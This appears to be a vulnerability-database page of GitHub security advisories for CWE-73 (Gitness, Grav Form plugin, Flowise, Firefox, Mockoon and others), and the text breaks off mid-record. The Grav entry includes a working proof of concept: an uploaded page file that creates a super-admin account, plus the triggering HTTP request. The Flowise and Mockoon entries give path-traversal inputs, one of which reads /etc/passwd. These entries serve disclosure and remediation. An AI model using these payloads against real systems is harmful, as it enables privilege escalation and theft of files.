CWE-73
AllowedExternal Control of File Name or Path
Abstraction: Base · Status: Draft
The product allows user input to control or influence paths or file names that are used in filesystem operations.
910 vulnerabilities reference this CWE, most recent first.
GHSA-W469-HJ2F-JPR5
Vulnerability from github – Published: 2025-08-29 16:41 – Updated: 2025-08-29 21:09Impact
Open Source Harness git LFS server (Gitness) exposes api to retrieve and upload files via git LFS. Implementation of upload git LFS file api is vulnerable to arbitrary file write. Due to improper sanitization for upload path, a malicious authenticated user who has access to Harness Gitness server api can use a crafted upload request to write arbitrary file to any location on file system, may even compromise the server.
Users using git LFS are vulnerable.
Patches
Users have to upgrade to v3.3.0 . All previous versions are affected by this vulnerability.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/harness/gitness"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.4"
},
{
"fixed": "3.3.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/harness/gitness"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.4-gitspaces-beta.0.20250808064055-21c5ce42ae13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-58158"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-29T16:41:57Z",
"nvd_published_at": "2025-08-29T18:15:42Z",
"severity": "HIGH"
},
"details": "### Impact\nOpen Source Harness git LFS server (Gitness) exposes api to retrieve and upload files via git LFS. Implementation of upload git LFS file api is vulnerable to arbitrary file write. Due to improper sanitization for upload path, a malicious authenticated user who has access to Harness Gitness server api can use a crafted upload request to write arbitrary file to any location on file system, may even compromise the server. \n\nUsers using git LFS are vulnerable.\n\n### Patches\nUsers have to upgrade to v3.3.0 . All previous versions are affected by this vulnerability.",
"id": "GHSA-w469-hj2f-jpr5",
"modified": "2025-08-29T21:09:11Z",
"published": "2025-08-29T16:41:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/harness/harness/security/advisories/GHSA-w469-hj2f-jpr5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58158"
},
{
"type": "WEB",
"url": "https://github.com/harness/harness/commit/21c5ce42ae13740b1cad47706c2ec85e72cc8c20"
},
{
"type": "PACKAGE",
"url": "https://github.com/harness/harness"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Harness Allows Arbitrary File Write in Gitness LFS server"
}
GHSA-W4RC-P66M-X6QQ
Vulnerability from github – Published: 2026-05-06 23:03 – Updated: 2026-05-13 14:04Summary
(Tested on Form 9.0.3 released on April, 28th)
The Form plugin's file upload handler at user/plugins/form/classes/Form.php:583 accepts a POST-supplied filename parameter ($filename = $post['filename'] ?? $upload['file']['name']) that overrides the original uploaded filename. The override passes through Utils::checkFilename(), which blocks only a narrow extension list (.php*, .htm*, .js, .exe). Markdown (.md) is not blocked.
A page's directory under user/pages/ contains its .md content file (e.g. default.md, form.md). When a form's file upload field has accept: ['*'] (or any policy that admits text files), an unauthenticated visitor can:
- Upload arbitrary content with
filename=form.md(or other page-content filenames), - Submit the form to trigger
Form::copyFiles(), which overwrites the page's own.mdfile.
Details
Vulnerable code path
user/plugins/form/classes/Form.php:580-606 (in uploadFiles()):
$grav->fireEvent('onFormUploadSettings', new Event(['settings' => &$settings, 'post' => $post]));
$upload = json_decode(json_encode($this->normalizeFiles($_FILES['data'], $settings->name)), true);
$filename = $post['filename'] ?? $upload['file']['name']; // ← POST-controlled
// ...
if (!Utils::checkFilename($filename)) { // ← extension blocklist only
return ['status' => 'error', 'message' => 'Bad filename'];
}
Utils::checkFilename() (system/src/Grav/Common/Utils.php:980) blocks .., slashes, null bytes, leading/trailing dots, and the uploads_dangerous_extensions list. The default list contains: php, php2-5, phar, phtml, html, htm, shtml, shtm, js, exe. md is not on the list.
The MIME check (lines 627-654) uses Utils::getMimeByFilename($filename) against the blueprint's accept list. With accept: ['*'], all filenames pass.
After upload, the file is held in flash storage. When the form is submitted, Form::copyFiles() (user/plugins/form/classes/Form.php:1041-1074) calls $upload->moveTo($destination):
$destination = $upload->getDestination(); // ← determined at upload time:
// $destination = $page_dir . '/' . $filename
$folder = $filesystem->dirname($destination);
if (!is_dir($folder) && !@mkdir($folder, 0777, true) && !is_dir($folder)) { ... }
$upload->moveTo($destination);
moveTo() does not check whether $destination is an existing protected file — if form.md (the page's own content) already exists at the destination, it is overwritten.
A Grav page's .md file is parsed as YAML frontmatter + Markdown content. Whatever content the attacker uploaded becomes the new page definition.
PoC
Setup :
Any existing page with a form like this — a "generic upload" form is the realistic case:
---
title: Upload your file
form:
name: upform
fields:
- {name: img, type: file, multiple: false, accept: ['*'], destination: 'self@'}
- {name: notes, type: text}
buttons:
- {type: submit, value: Upload}
process:
- upload: true
- display: thanks
---
- Atacker uploads a malicious md file that replaces the form's md file. Lets say the form is under the path
/upload.
---
title: Pwned
form:
name: pwn
fields:
- {name: dummy, type: text}
buttons:
- {type: submit, value: Submit}
process:
- save:
folder: '../accounts'
filename: 'viaup.yaml'
extension: yaml
operation: create
body: |
state: enabled
email: viaup@example.com
fullname: Via Upload
title: Admin
access:
admin: { login: true, super: true }
site: { login: true }
hashed_password: $2y$10$zGRm19Dk5ivMFZS5taMtU.O8WDUZpTqSsSg8JFs4SwOxJ/N6wl/Uq
- display: thanks
---
(Hash above is bcrypt for PwnPass123!.)
- Attacker accesses the new markdown file under the original path and loads the new markdown file
GET /upload. - Attacker sends a form POST request to
/uploadand change the form_name to whatever the payload form name is. Keep in mind the nonce has to be valid.
POST /upload HTTP/1.1
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="data[_json][img]"
[]
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="data[notes]"
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="__form-name__"
pwn
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="__unique_form_id__"
8r7q1iwdnnmcgkohlbtj
------geckoformboundary44d7ad8deb57480098493877a35ad715
Content-Disposition: form-data; name="form-nonce"
4e9417f0c7e89d1ab4e0dbe136ec78bd
------geckoformboundary44d7ad8deb57480098493877a35ad715--
- Login as a newly created super admin user.
Impact
Grav pages that allows user to uploads any file (besides the ones in the blocklist) with the default self@ configuration is able to upload a malicious markdown file to overwrite the existing markdown file. In this case, unauthenticated users were able to escalate their privileges to super-admin.
Remediation
Block sensitive page-content filenames at upload
In user/plugins/form/classes/Form.php, after Utils::checkFilename() succeeds, add a content-area-aware check:
// Block files that would overwrite Grav page content if uploaded into
// a page directory. Page templates are .md (Markdown) and .yaml/.yml
// (frontmatter overrides). Block both for safety.
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$pageContentExtensions = ['md', 'yaml', 'yml', 'json', 'twig'];
if (in_array($ext, $pageContentExtensions, true)) {
return [
'status' => 'error',
'message' => 'File type not allowed for upload (page content files are blocked)',
];
}
Add md, yaml, yml, json, twig, ini to the global security.uploads_dangerous_extensions list — these all carry executable semantics in Grav's runtime even though they are not "PHP".
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav-plugin-form"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42845"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T23:03:13Z",
"nvd_published_at": "2026-05-11T17:16:34Z",
"severity": "HIGH"
},
"details": "### Summary\n(Tested on Form 9.0.3 released on April, 28th)\n\nThe Form plugin\u0027s file upload handler at `user/plugins/form/classes/Form.php:583` accepts a POST-supplied `filename` parameter (`$filename = $post[\u0027filename\u0027] ?? $upload[\u0027file\u0027][\u0027name\u0027]`) that overrides the original uploaded filename. The override passes through `Utils::checkFilename()`, which blocks only a narrow extension list (`.php*`, `.htm*`, `.js`, `.exe`). Markdown (`.md`) is **not** blocked.\n\nA page\u0027s directory under `user/pages/` contains its `.md` content file (e.g. `default.md`, `form.md`). When a form\u0027s file upload field has `accept: [\u0027*\u0027]` (or any policy that admits text files), an unauthenticated visitor can:\n\n1. Upload **arbitrary content** with **`filename=form.md`** (or other page-content filenames),\n2. Submit the form to trigger `Form::copyFiles()`, which **overwrites the page\u0027s own `.md` file**.\n\n### Details\n**Vulnerable code path**\n\n`user/plugins/form/classes/Form.php:580-606` (in `uploadFiles()`):\n```php\n$grav-\u003efireEvent(\u0027onFormUploadSettings\u0027, new Event([\u0027settings\u0027 =\u003e \u0026$settings, \u0027post\u0027 =\u003e $post]));\n\n$upload = json_decode(json_encode($this-\u003enormalizeFiles($_FILES[\u0027data\u0027], $settings-\u003ename)), true);\n$filename = $post[\u0027filename\u0027] ?? $upload[\u0027file\u0027][\u0027name\u0027]; // \u2190 POST-controlled\n// ...\nif (!Utils::checkFilename($filename)) { // \u2190 extension blocklist only\n return [\u0027status\u0027 =\u003e \u0027error\u0027, \u0027message\u0027 =\u003e \u0027Bad filename\u0027];\n}\n```\n\n`Utils::checkFilename()` (`system/src/Grav/Common/Utils.php:980`) blocks `..`, slashes, null bytes, leading/trailing dots, and the `uploads_dangerous_extensions` list. The default list contains: `php, php2-5, phar, phtml, html, htm, shtml, shtm, js, exe`. **`md` is not on the list**.\n\nThe MIME check (lines 627-654) uses `Utils::getMimeByFilename($filename)` against the blueprint\u0027s `accept` list. With `accept: [\u0027*\u0027]`, all filenames pass.\n\nAfter upload, the file is held in flash storage. When the form is submitted, `Form::copyFiles()` (`user/plugins/form/classes/Form.php:1041-1074`) calls `$upload-\u003emoveTo($destination)`:\n```php\n$destination = $upload-\u003egetDestination(); // \u2190 determined at upload time:\n // $destination = $page_dir . \u0027/\u0027 . $filename\n$folder = $filesystem-\u003edirname($destination);\nif (!is_dir($folder) \u0026\u0026 !@mkdir($folder, 0777, true) \u0026\u0026 !is_dir($folder)) { ... }\n$upload-\u003emoveTo($destination);\n```\n\n`moveTo()` does not check whether `$destination` is an existing protected file \u2014 if `form.md` (the page\u0027s own content) already exists at the destination, it is **overwritten**.\n\nA Grav page\u0027s `.md` file is parsed as YAML frontmatter + Markdown content. Whatever content the attacker uploaded becomes the new page definition.\n\n### PoC\n\n**Setup** :\n\nAny existing page with a form like this \u2014 a \"generic upload\" form is the realistic case:\n```yaml\n---\ntitle: Upload your file\nform:\n name: upform\n fields:\n - {name: img, type: file, multiple: false, accept: [\u0027*\u0027], destination: \u0027self@\u0027}\n - {name: notes, type: text}\n buttons:\n - {type: submit, value: Upload}\n process:\n - upload: true\n - display: thanks\n---\n```\n1. Atacker uploads a malicious md file that replaces the form\u0027s md file. Lets say the form is under the path `/upload`.\n\n```yaml\n---\ntitle: Pwned\nform:\n name: pwn\n fields:\n - {name: dummy, type: text}\n buttons:\n - {type: submit, value: Submit}\n process:\n - save:\n folder: \u0027../accounts\u0027\n filename: \u0027viaup.yaml\u0027\n extension: yaml\n operation: create\n body: |\n state: enabled\n email: viaup@example.com\n fullname: Via Upload\n title: Admin\n access:\n admin: { login: true, super: true }\n site: { login: true }\n hashed_password: $2y$10$zGRm19Dk5ivMFZS5taMtU.O8WDUZpTqSsSg8JFs4SwOxJ/N6wl/Uq\n - display: thanks\n---\n```\n(Hash above is bcrypt for `PwnPass123!`.)\n\n2. Attacker accesses the new markdown file under the original path and loads the new markdown file `GET /upload`.\n3. Attacker sends a form POST request to `/upload` and change the form_name to whatever the payload form name is.\n Keep in mind the nonce has to be valid.\n\n```\nPOST /upload HTTP/1.1\n\n------geckoformboundary44d7ad8deb57480098493877a35ad715\nContent-Disposition: form-data; name=\"data[_json][img]\"\n\n[]\n------geckoformboundary44d7ad8deb57480098493877a35ad715\nContent-Disposition: form-data; name=\"data[notes]\"\n\n\n------geckoformboundary44d7ad8deb57480098493877a35ad715\nContent-Disposition: form-data; name=\"__form-name__\"\n\npwn\n------geckoformboundary44d7ad8deb57480098493877a35ad715\nContent-Disposition: form-data; name=\"__unique_form_id__\"\n\n8r7q1iwdnnmcgkohlbtj\n------geckoformboundary44d7ad8deb57480098493877a35ad715\nContent-Disposition: form-data; name=\"form-nonce\"\n\n4e9417f0c7e89d1ab4e0dbe136ec78bd\n------geckoformboundary44d7ad8deb57480098493877a35ad715--\n```\n\n4. Login as a newly created super admin user.\n\n### Impact\n\nGrav pages that allows user to uploads any file (besides the ones in the blocklist) with the default `self@` configuration is able to upload a malicious markdown file to overwrite the existing markdown file. In this case, unauthenticated users were able to escalate their privileges to super-admin. \n\n### Remediation\n\nBlock sensitive page-content filenames at upload\n\nIn `user/plugins/form/classes/Form.php`, after `Utils::checkFilename()` succeeds, add a content-area-aware check:\n\n```php\n// Block files that would overwrite Grav page content if uploaded into\n// a page directory. Page templates are .md (Markdown) and .yaml/.yml\n// (frontmatter overrides). Block both for safety.\n$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));\n$pageContentExtensions = [\u0027md\u0027, \u0027yaml\u0027, \u0027yml\u0027, \u0027json\u0027, \u0027twig\u0027];\nif (in_array($ext, $pageContentExtensions, true)) {\n return [\n \u0027status\u0027 =\u003e \u0027error\u0027,\n \u0027message\u0027 =\u003e \u0027File type not allowed for upload (page content files are blocked)\u0027,\n ];\n}\n```\n\nAdd `md, yaml, yml, json, twig, ini` to the global `security.uploads_dangerous_extensions` list \u2014 these all carry executable semantics in Grav\u0027s runtime even though they are not \"PHP\".",
"id": "GHSA-w4rc-p66m-x6qq",
"modified": "2026-05-13T14:04:34Z",
"published": "2026-05-06T23:03:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-w4rc-p66m-x6qq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42845"
},
{
"type": "WEB",
"url": "https://github.com/getgrav/grav-plugin-form/commit/48bacc4187e1cff815000e526d5ca2878484867f"
},
{
"type": "PACKAGE",
"url": "https://github.com/getgrav/grav"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Grav Form Plugin has an Anonymous Page Content Overwrite via Form File Upload filename Override"
}
GHSA-W4XH-QVW9-WQ8W
Vulnerability from github – Published: 2024-04-03 15:30 – Updated: 2024-04-03 15:30A file write vulnerability exists in the OAS Engine Tags Configuration functionality of Open Automation Software OAS Platform V19.00.0057. A specially crafted series of network requests can lead to arbitrary file creation or overwrite. An attacker can send a sequence of requests to trigger this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2024-21870"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-03T14:15:13Z",
"severity": "MODERATE"
},
"details": "A file write vulnerability exists in the OAS Engine Tags Configuration functionality of Open Automation Software OAS Platform V19.00.0057. A specially crafted series of network requests can lead to arbitrary file creation or overwrite. An attacker can send a sequence of requests to trigger this vulnerability.",
"id": "GHSA-w4xh-qvw9-wq8w",
"modified": "2024-04-03T15:30:41Z",
"published": "2024-04-03T15:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21870"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2024-1950"
},
{
"type": "WEB",
"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2024-1950"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W53R-XM86-J94J
Vulnerability from github – Published: 2023-08-07 00:30 – Updated: 2023-08-07 00:30A vulnerability, which was classified as critical, has been found in SourceCodester Resort Reservation System 1.0. Affected by this issue is some unknown functionality of the file index.php. The manipulation of the argument page leads to file inclusion. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-236234 is the identifier assigned to this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2023-4191"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-06T23:15:26Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as critical, has been found in SourceCodester Resort Reservation System 1.0. Affected by this issue is some unknown functionality of the file index.php. The manipulation of the argument page leads to file inclusion. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-236234 is the identifier assigned to this vulnerability.",
"id": "GHSA-w53r-xm86-j94j",
"modified": "2023-08-07T00:30:14Z",
"published": "2023-08-07T00:30:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4191"
},
{
"type": "WEB",
"url": "https://github.com/Yesec/Resort-Reservation-System/blob/main/local%20file%20inclusion/vuln.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.236234"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.236234"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-W5QF-XF3C-9442
Vulnerability from github – Published: 2022-08-23 00:00 – Updated: 2022-08-25 00:00An information disclosure vulnerability exists in the chunkFile functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary file read. An attacker can send an HTTP request to trigger this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-28710"
],
"database_specific": {
"cwe_ids": [
"CWE-610",
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-22T19:15:00Z",
"severity": "MODERATE"
},
"details": "An information disclosure vulnerability exists in the chunkFile functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary file read. An attacker can send an HTTP request to trigger this vulnerability.",
"id": "GHSA-w5qf-xf3c-9442",
"modified": "2022-08-25T00:00:29Z",
"published": "2022-08-23T00:00:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-28710"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/blob/e04b1cd7062e16564157a82bae389eedd39fa088/updatedb/updateDb.v12.0.sql"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2022-1550"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W5R9-J49J-2M55
Vulnerability from github – Published: 2026-06-26 00:32 – Updated: 2026-06-26 00:32Flowise before 3.0.6 (affected versions 2.2.8 and earlier) contains an arbitrary file access vulnerability due to missing validation that the chatflowId and chatId parameters are UUIDs or numbers in file handling operations. By supplying a path-traversal value (e.g., '../../../../../tmp') as the chatflow id, an unauthenticated attacker can use the /api/v1/chatflows endpoint (via addBase64FilesToStorage) to write arbitrary files, and the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints (via streamStorageFile) to read arbitrary files. Arbitrary file write may lead to remote code execution.
{
"affected": [],
"aliases": [
"CVE-2025-71334"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-25T22:16:59Z",
"severity": "CRITICAL"
},
"details": "Flowise before 3.0.6 (affected versions 2.2.8 and earlier) contains an arbitrary file access vulnerability due to missing validation that the chatflowId and chatId parameters are UUIDs or numbers in file handling operations. By supplying a path-traversal value (e.g., \u0027../../../../../tmp\u0027) as the chatflow id, an unauthenticated attacker can use the /api/v1/chatflows endpoint (via addBase64FilesToStorage) to write arbitrary files, and the /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints (via streamStorageFile) to read arbitrary files. Arbitrary file write may lead to remote code execution.",
"id": "GHSA-w5r9-j49j-2m55",
"modified": "2026-06-26T00:32:05Z",
"published": "2026-06-26T00:32:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-q67q-549q-p849"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71334"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/commit/8bd3de41533de78e4ef6c980e5704a1f9cb7ae6f"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/commit/c2b830f279e454e8b758da441016b2234f220ac7"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/flowise-arbitrary-file-access-via-missing-chat-flow-id-validation"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W62C-99J3-8FRH
Vulnerability from github – Published: 2023-01-07 15:30 – Updated: 2023-01-12 21:30A vulnerability, which was classified as problematic, has been found in sternenseemann sternenblog. This issue affects the function blog_index of the file main.c. The manipulation of the argument post_path leads to file inclusion. The attack may be initiated remotely. Upgrading to version 0.1.0 is able to address this issue. The name of the patch is cf715d911d8ce17969a7926dea651e930c27e71a. It is recommended to upgrade the affected component. The identifier VDB-217613 was assigned to this vulnerability. NOTE: This case is rather theoretical and probably won't happen. Maybe only on obscure Web servers.
{
"affected": [],
"aliases": [
"CVE-2014-125059"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-07T13:15:00Z",
"severity": "CRITICAL"
},
"details": "A vulnerability, which was classified as problematic, has been found in sternenseemann sternenblog. This issue affects the function blog_index of the file main.c. The manipulation of the argument post_path leads to file inclusion. The attack may be initiated remotely. Upgrading to version 0.1.0 is able to address this issue. The name of the patch is cf715d911d8ce17969a7926dea651e930c27e71a. It is recommended to upgrade the affected component. The identifier VDB-217613 was assigned to this vulnerability. NOTE: This case is rather theoretical and probably won\u0027t happen. Maybe only on obscure Web servers.",
"id": "GHSA-w62c-99j3-8frh",
"modified": "2023-01-12T21:30:29Z",
"published": "2023-01-07T15:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-125059"
},
{
"type": "WEB",
"url": "https://github.com/sternenseemann/sternenblog/commit/cf715d911d8ce17969a7926dea651e930c27e71a"
},
{
"type": "WEB",
"url": "https://github.com/sternenseemann/sternenblog/releases/tag/0.1.0"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.217613"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.217613"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W6X2-RCR6-2HH6
Vulnerability from github – Published: 2022-12-22 21:30 – Updated: 2025-04-16 15:34When downloading files on Windows, the % character was not escaped, which could have lead to a download incorrectly being saved to attacker-influenced paths that used variables such as %HOMEPATH% or %APPDATA%.
This bug only affects Firefox for Windows. Other operating systems are unaffected.. This vulnerability affects Thunderbird < 91.10, Firefox < 101, and Firefox ESR < 91.10.
{
"affected": [],
"aliases": [
"CVE-2022-31739"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-22T20:15:00Z",
"severity": "HIGH"
},
"details": "When downloading files on Windows, the % character was not escaped, which could have lead to a download incorrectly being saved to attacker-influenced paths that used variables such as %HOMEPATH% or %APPDATA%.\u003cbr\u003e*This bug only affects Firefox for Windows. Other operating systems are unaffected.*. This vulnerability affects Thunderbird \u003c 91.10, Firefox \u003c 101, and Firefox ESR \u003c 91.10.",
"id": "GHSA-w6x2-rcr6-2hh6",
"modified": "2025-04-16T15:34:09Z",
"published": "2022-12-22T21:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31739"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1765049"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2022-20"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2022-21"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2022-22"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W787-9CHH-W9Q4
Vulnerability from github – Published: 2025-07-02 06:30 – Updated: 2025-07-02 06:30The Forminator Forms – Contact Form, Payment Form & Custom Form Builder plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the 'entry_delete_upload_files' function in all versions up to, and including, 1.44.2. This makes it possible for unauthenticated attackers to include arbitrary file paths in a form submission. The file will be deleted when the form submission is deleted, whether by an Administrator or via auto-deletion determined by plugin settings. This can easily lead to remote code execution when the right file is deleted (such as wp-config.php).
{
"affected": [],
"aliases": [
"CVE-2025-6463"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-02T05:15:27Z",
"severity": "HIGH"
},
"details": "The Forminator Forms \u2013 Contact Form, Payment Form \u0026 Custom Form Builder plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the \u0027entry_delete_upload_files\u0027 function in all versions up to, and including, 1.44.2. This makes it possible for unauthenticated attackers to include arbitrary file paths in a form submission. The file will be deleted when the form submission is deleted, whether by an Administrator or via auto-deletion determined by plugin settings. This can easily lead to remote code execution when the right file is deleted (such as wp-config.php).",
"id": "GHSA-w787-9chh-w9q4",
"modified": "2025-07-02T06:30:31Z",
"published": "2025-07-02T06:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6463"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/forminator/trunk/library/model/class-form-entry-model.php#L1249"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3319860/forminator#file3"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6dc9b4cb-d36b-4693-a7b9-1dad123b6639?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W7F9-WQC4-3WXR
Vulnerability from github – Published: 2025-03-11 16:17 – Updated: 2025-09-13 03:03Summary
A mock API configuration for static file serving following the same approach presented in the documentation page, where the server filename is generated via templating features from user input is vulnerable to Path Traversal and LFI, allowing an attacker to get any file in the mock server filesystem. The issue may be particularly relevant in cloud hosted server instances
Details
In sendFileWithCallback(code) and sendFile(code) the filePath variable is parsed using TemplateParser
let filePath = TemplateParser({
shouldOmitDataHelper: false,
// replace backslashes with forward slashes, but not if followed by a dot (to allow helpers with paths containing properties with dots: e.g. {{queryParam 'path.prop\.with\.dots'}})
content: routeResponse.filePath.replace(/\\(?!\.)/g, '/'),
environment: this.environment,
processedDatabuckets: this.processedDatabuckets,
globalVariables: this.globalVariables,
request: serverRequest,
envVarsPrefix: this.options.envVarsPrefix
});
The path extracted from the request parameters used when composing the final file path is not sanitized and is vulnerable to path traversal exploits (e.g. ../../../../../etc/passwd)
PoC
Test setup
The issue has been tested with mockoon-cli, using the Docker image mockoon/cli:latest
# Folder setup
mkdir mockoon-test
cd mockoon-test
# put config.json in mockooon-test dir
mkdir static
# Run container
docker run -d --mount type=bind,source=./config.json,target=/data,readonly -v ./static:/static -p 3000:3000 mockoon/cli:latest -d data -p 3000
Payload to reproduce
Browsing directly to http://localhost:3000/static/%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd is going to display the /etc/passwd file in the container filesystem
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.1.0"
},
"package": {
"ecosystem": "npm",
"name": "@mockoon/commons-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.2.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.1.0"
},
"package": {
"ecosystem": "npm",
"name": "@mockoon/cli"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-59049"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-11T16:17:42Z",
"nvd_published_at": "2025-09-10T19:15:42Z",
"severity": "HIGH"
},
